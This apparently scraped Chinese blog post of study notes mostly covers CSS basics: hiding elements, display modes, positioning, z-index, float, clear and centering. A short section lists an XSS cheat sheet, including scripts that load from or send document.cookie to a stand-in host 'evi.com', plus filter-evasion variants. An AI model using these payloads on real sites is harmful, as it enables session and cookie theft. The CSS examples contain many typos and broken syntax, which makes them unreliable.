一、CSS  标题隐藏

1、 <sytle>h1.hidden {visibility: hidden;}

</style>

<body> <h1>这是一个可以看见的标题</h1>

<h1 class="hidden">这是隐藏的标题</h1></body>该元素被隐藏了,但是占得空间任然存在

2、<style>

h1.hidden{dispaly:none;}</style>

<body><h1 class="hidden">这是一个隐藏标题</h1></body>  display 的属性 空间会被替换

3、<style>li{displey:inline;}</style>   <!--显示为内联元素--><body>

<ul><li><a href="/html/" target=_blank";>HTML</a></li></ul></body>

4、<style>span{

display:block;}</style>

<body>

<h2>NIRDD</h2>

<span>KJNLKSDN</span></body>

5、CSS Positioning   position 属性定位了元素的位置

<style> p.pos_fixed{

position:fixed;

top:30px;

right:50px;}</style>

<body><p class="pos_fixed" >Some more text </p></body>

6、relative 定位相对于定位元素的正常位置

<style> h2.pos_left{

position:relative;

left:-20px;}

h2.pos_right{

position:relative;

left:20px;}</style>

7、absolute定位 位置相对于自己最近的父位元素,如果没有该元素则相对于HTML

<style>

h2{position:absolute;

left:100px;

top:150px;

}</style>

<body><h2这是一个绝对定位的元素></h2></body>

8、重叠元素的定位

元素的定位于文档流无关,所以可以覆盖页面上的元素, Z-index属性指定了一个元素的堆叠顺序,一个元素可以有正数和负数的堆叠顺序

<style>img{position:absolute;

left:0px;

top:opx;

z-index:-1}</style>

<body><h1>这是最上面显示的一层</h1>

<img src="ww.gif" width="100" heigth="23" /></body>

9、CSS Float 属性设置

图像的浮动   <style>

img{float:right;

}</style>

<body>

<p>图片浮动,文字会绕着图片</p>

<img src="logcss.gif" width="3" height="3" >

<p>JKLJDPF</p></body>

如果将几个浮动的图片放到一起,则图片会相邻排序

<style>.thumbnail{

float:left;

width:100px;

height:0px;

margin:4px;}</style>

<body>

<img  class ="thumbnail" src="s.gif"  width="1" height="2" >

<img  class ="thumbnail" src="t.gif"  width="1" height="2" >

<img  class ="thumbnail" src="g.gif"  width="1" height="2" >

<img  class ="thumbnail" src="h.gif"  width="1" height="2" ></body>

10、元素浮动之后周围的元素会重新排列,为了避免这种情况,使用clear属性,clear属性指定元素两侧不能出现浮动元素

使用clear属性王文本中添加图片的轮廓

<style>

.thumbnail{

float:left;

width:100px;

height:90px;

margin:3px;}

.text_line{

clear:both;

margin-bottom:2px;}</style>

<body><img class="thumbnail" src="/image/tian.gif"  hreight="23" width="32";>

<img class="thumbnail" src="/image/tian.gif"  hreight="23" width="32";>

<img class="thumbnail" src="/image/tian.gif"  hreight="23" width="32";>

<h3 class="text_line">第二行</h3>

<img class="thumbnail" src="/image/tian.gif"  hreight="23" width="32";>

<img class="thumbnail" src="/image/tian.gif"  hreight="23" width="32";></body>

11、CSS布局 水平&垂直对齐  元素居中

要水平居中对齐一个元素如<div>可以使用margin :auto;   涉及到元素的宽度防止它溢出到容器的边缘,元素通过制定宽度,并将两边的空边距平珏分配

<style>

.center{margin:auto;

width:60%:

broder: 3px solid rgb(12,23,23);

padding;10px;}</style>

<body>

<div class="center"><p>KJJJPJ</p></div></body>

12、文本居中对齐

<style>

.center{

text-align:cener;

border: 3px solid green;}</style>

<body><div class="center"><p>文本居中对齐</p></div></body>

13、图片居中对齐

<style>img{display:block;

margin: 0 auto;

4}</style>

<body><img src="www.baidu/od.gif" alt="psds" style="width:40%”;></body>

二、XSS跨站脚本

1、常见的XSS代码SHEET

<script>alert(1);</script>    <script>alert("XSS")  </script>   <script src="http:www.evi.com/cookie.php"></script>

<script>location.href="http://ww.evi.com/cookie.php?cookie="+escape(document.cookie)</script>

<src<script>ipt>alert("XSS");</src</script>ipt>

2、利用<>标记注入 HTML/JavaScript

<scirpt>shellcode</script>

3、<table background="javascript:alert(/XSS/)”></table>

<img src="javascript:alert('XSS');"/>

HTML&javaSkcript&CSS&jQuery&ajax-XSS的更多相关文章

  1. XSS-HTML&javaSkcript&CSS&jQuery&ajax

    1.设置不同的样式列表 <style> ul.a{list-style-tyrp:circle;}    ul.b{list-style-type:square;}   ul.c{list ...

  2. java-HTML&javaSkcript&CSS&jQuery&ajax

    CSS  伪装 1.<style>a;link{color:#000000} a:visited{color:#000000; a.:hover{color:#FF00FF} a:acti ...

  3. HTML&javaSkcript&CSS&jQuery&ajax(十)

    HTML 1.SVG直接嵌入HTML网页 ,SVG 是使用XML描述2D图像的语言,Canvas通过JavaScript来绘制2D <svg xmlns="http://www.w3. ...

  4. HTML&javaSkcript&CSS&jQuery&ajax(八)

    一. <!DOCTYPE html><html><head><meta charset="utf-8"><tiitle> ...

  5. HTML&javaSkcript&CSS&jQuery&ajax(七)

    ’一.HTML5 实例  <video width="430" controls>   <source src="mov_nnn.mp4" t ...

  6. HTML&javaSkcript&CSS&jQuery&ajax(五)

    一.Framset标签定义了每个框架中的HTML文档, 1. <framset cols="25%,75%"> <frame src="frame_a. ...

  7. HTML&javaSkcript&CSS&jQuery&ajax(四)

    一.HTML创建响应设计 Responsive Web Design 可以改变尺寸传递网页,对于平板和移动设备是必须的 1.<!DOCTYPE html><html lang=&qu ...

  8. HTML&javaSkcript&CSS&jQuery&ajax(三)

    一.HTML块元素 1.块级元素 Block level element ,内联元素 inline element , HTML<div>元素属于块级元素,他是组合其他HTML元素的容器, ...

  9. HTML&javaSkcript&CSS&jQuery&ajax(二)

    一.HTML 1.标签<a href="http:www.baidu.com">This is a link </a>         <img sr ...

  10. java-HTML&javaSkcript&CSS&jQuery&ajax( 八)

    一.JavaScript教程笔记 1.在web页面中一般使用JavaScript脚本语言,支持跨平台,跨浏览器,驱动网页,与用户交互.另外Node.js把JavaScript引入到了服务器端. Jav ...

随机推荐

  1. linux 查看文件夹大小

    参考链接:  http://www.cnblogs.com/iconfig/p/4863063.html

  2. Python 10 协程,异步IO,Paramiko

    本节内容 Gevent协程 异步IO Paramiko 携程 协程,又称为微线程,纤程(coroutine).是一种用户态的轻量级线程. 协程拥有自己的寄存器上下文和栈.协程调度切换时,将寄存器上下文 ...

  3. 前端-----html(1)

    基本结构 Doctype Doctype告诉浏览器使用什么样的html或xhtml规范来解析html文档 <!DOCTYPE html> bead标签 Meta 提供有关页面的元信息,例: ...

  4. WPF DataGrid 列显示0,-1(作废、删除)状态,1,2(支出、收入)类型,操作人(在其他表中),如何转换格式。

    操作人,左联,Join on letf //容我补充 状态,类型,类似的转换,在xmlns中引入common   xmlns:com="clr-namespace:XXX.Common&qu ...

  5. 结构数组新发现之直接初始化《leetcode-合并区间》

    leetcode有时候会要求一些奇怪(陌生)的数据形式,刷题因为数据形式卡住了真的很不好... 合并区间里定义了一个Interval的结构数组 struct Interval { int start; ...

  6. 微信小程序-WebSocket应用

    为何有 HTTP 协议还需要 WebSocket ? Http协议 有个缺陷:通信只能由客户端发起.举例来说,我们想了解今天的天气,只能是客户端向服务器发出请求,服务器返回查询结果.HTTP 协议做不 ...

  7. SSH localhost免密不成功 + 集群状态显示Configured Capacity: 0 (0 KB)

    前一天运行hadoop一切安好,今天重新运行出现BUG.下面对遇到的bug.产生原因以及解决方法进行一下简单总结记录. [bug1]用ssh localhost免密登录时提示要输入密码. 原因分析:之 ...

  8. 使用layui框架做分页

    第一步引用两个文件: <link href="layui-v2.2.5/layui-v2.2.5/layui/css/layui.css" rel="stylesh ...

  9. npm i 和 npm install 的区别

    实际使用的区别点主要如下(windows下): 1. 用npm i安装的模块无法用npm uninstall删除,用npm uninstall i才卸载掉 2. npm i会帮助检测与当前node版本 ...

  10. CSS基础入门

    css基础语法 一.CSS格式 选择器{ 属性名:属性值; 属性名:属性值; } 选择器负责圈定范围,要修改的元素集合,花括号内的声明由属性名和属性值组成(key:value)的形式,用于设定具体样式 ...